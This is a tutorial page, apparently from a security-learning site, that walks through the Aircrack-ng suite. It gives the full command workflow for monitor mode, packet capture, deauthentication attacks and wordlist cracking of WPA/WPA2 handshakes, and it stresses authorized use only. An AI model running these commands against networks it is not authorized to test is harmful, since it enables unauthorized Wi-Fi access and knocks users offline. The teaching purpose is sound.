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Aircrack-ng

What is Aircrack-ng

  • Aircrack-ng is a popular wireless network security auditing tool.
  • It is used to analyze WiFi security, capture wireless packets, and crack weak WiFi passwords.
  • Aircrack-ng is widely used by:
  • penetration testers
  • cybersecurity professionals
  • ethical hackers
  • network administrators
  • CTF players

The Aircrack-ng suite contains multiple tools that help with:

  • monitoring wireless networks
  • capturing packets
  • performing deauthentication attacks
  • cracking WEP/WPA/WPA2 passwords

Because of its powerful wireless auditing capabilities, Aircrack-ng is considered a core tool in wireless penetration testing.

Install Aircrack-ng

Aircrack-ng is usually pre-installed in Kali Linux.

To check installation:

aircrack-ng --help

If not installed:

sudo apt install aircrack-ng

Aircrack-ng Tool Suite

Aircrack-ng includes several tools:

Tool Purpose
airmon-ng Enable monitor mode
airodump-ng Capture wireless packets
aireplay-ng Perform packet injection attacks
aircrack-ng Crack captured WiFi passwords

These tools work together during wireless security testing.

Enable Monitor Mode

To capture wireless packets, your WiFi card must be in monitor mode.

Start monitor mode:

sudo airmon-ng start wlan0

Example output:

monitor mode enabled on wlan0mon

Now the interface wlan0mon can monitor wireless traffic.

Disable Monitor Mode

To return to normal mode:

sudo airmon-ng stop wlan0mon

Scan Wireless Networks

Use airodump-ng to scan nearby WiFi networks.

sudo airodump-ng wlan0mon

This will display:

  • available wireless networks
  • BSSID (router MAC address)
  • channel
  • encryption type
  • signal strength
  • connected clients

Example:

BSSID              CH  ENC   ESSID
AA:BB:CC:DD:EE:FF  6   WPA2  MyWiFi

Capture Packets from Target Network

To capture packets from a specific network:

sudo airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0mon

Example:

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

This command:

  • listens on channel 6
  • captures packets from the target router
  • saves them to a file called capture

Captured files will be saved as:

capture.cap

Deauthentication Attack

A deauthentication attack forces connected devices to reconnect to the network.

This helps capture WPA handshakes.

sudo aireplay-ng --deauth 10 -a <BSSID> wlan0mon

Example:

sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

This sends 10 deauthentication packets to clients.

When devices reconnect, the WPA handshake is captured.

Crack WiFi Password

Once the handshake is captured, use aircrack-ng to crack the password.

aircrack-ng -w <wordlist> -b <BSSID> capture.cap

Example:

aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture.cap

Explanation:

Option Meaning
-w wordlist
-b router MAC address
capture.cap captured packets

If the password exists in the wordlist, Aircrack-ng will display it.

Check Captured Handshake

To confirm handshake capture:

Look in airodump-ng output for:

WPA handshake: AA:BB:CC:DD:EE:FF

This indicates the handshake has been successfully captured.

Simple Workflow

Typical wireless penetration testing workflow:

Step 1 — Enable Monitor Mode

sudo airmon-ng start wlan0

Step 2 — Scan Networks

sudo airodump-ng wlan0mon

Step 3 — Capture Target Traffic

sudo airodump-ng -c 6 --bssid <BSSID> -w capture wlan0mon

Step 4 — Force Reconnection

sudo aireplay-ng --deauth 10 -a <BSSID> wlan0mon

Step 5 — Crack Password

aircrack-ng -w rockyou.txt -b <BSSID> capture.cap

Use Cases

Aircrack-ng is commonly used for:

  • wireless security testing
  • WiFi auditing
  • WPA/WPA2 handshake analysis
  • password strength testing
  • penetration testing labs
  • CTF challenges

Best Practice

Wireless testing should only be performed on:

  • your own networks
  • authorized testing environments
  • penetration testing labs

Safe practice platforms:

  • TryHackMe
  • Hack The Box
  • cybersecurity labs

Never attempt to crack WiFi networks without permission.

Summary

Aircrack-ng is one of the most powerful wireless security auditing tools.

It allows security professionals to:

  • analyze wireless networks
  • capture authentication handshakes
  • test password strength
  • audit WiFi security

Learning Aircrack-ng is essential for anyone studying wireless security and ethical hacking.

✔ Learning Tip

Understand how operating systems manage files, memory, and processes. This knowledge helps in many security scenarios.